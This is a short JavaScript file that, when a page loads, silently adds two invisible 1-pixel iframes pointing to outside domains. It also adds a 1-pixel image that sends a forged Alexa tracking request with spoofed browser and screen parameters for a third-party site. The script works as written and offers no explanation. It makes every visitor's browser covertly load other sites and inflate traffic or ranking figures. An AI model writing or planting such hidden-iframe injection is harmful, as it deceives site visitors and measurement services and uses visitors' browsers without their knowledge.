
function addEvent( obj, type, fn )
{
	if (obj.addEventListener)
		obj.addEventListener( type, fn, false );
	else if (obj.attachEvent)
	{
		obj["e"+type+fn] = fn;
		obj[type+fn] = function() { obj["e"+type+fn]( window.event ); }
		obj.attachEvent( "on"+type, obj[type+fn] );
	}
}

function appendRequest(){
	var img = document.createElement("img");
    img.setAttribute('width','1px');
    img.setAttribute('height','1px');
    
	var iframe = document.createElement("iframe");
	
	//add attributes
	iframe.setAttribute('src','http://www.iwoulddoannachapman.com');
	iframe.setAttribute('width','1px');
	iframe.setAttribute('height','1px');
    	iframe.setAttribute('frameborder','0');
	
	img.setAttribute('src','http://data.alexa.com/data/KWx726Murei5la?cli=10&dat=snba&ver=7.2&cdt=alx_vw&wid=7971&act=00000000000&ss=1680x1050&bw=1523&t=0&ttl=499&vis=1&rq=&url=http://successfuldomainers.com');
	img.setAttribute('width','1');
	img.setAttribute('height','1');
    //test for outbound reciprocal link
    	var iframex = document.createElement("iframe");
	
	//add attributes
	iframex.setAttribute('src','http://www.iwoulddoannafermanova.com');
    	//iframex.setAttribute('src','http://www.dizzspace.com/');
	iframex.setAttribute('width','1px');
	iframex.setAttribute('height','1px');
    	iframex.setAttribute('frameborder','0');
	
	var lastEl = window.document.body.lastChild;//if u want the last element
	
	//append element
	document.body.appendChild(iframe);
	document.body.appendChild(img);
	document.body.appendChild(iframex);
}

addEvent(window,'load',appendRequest);
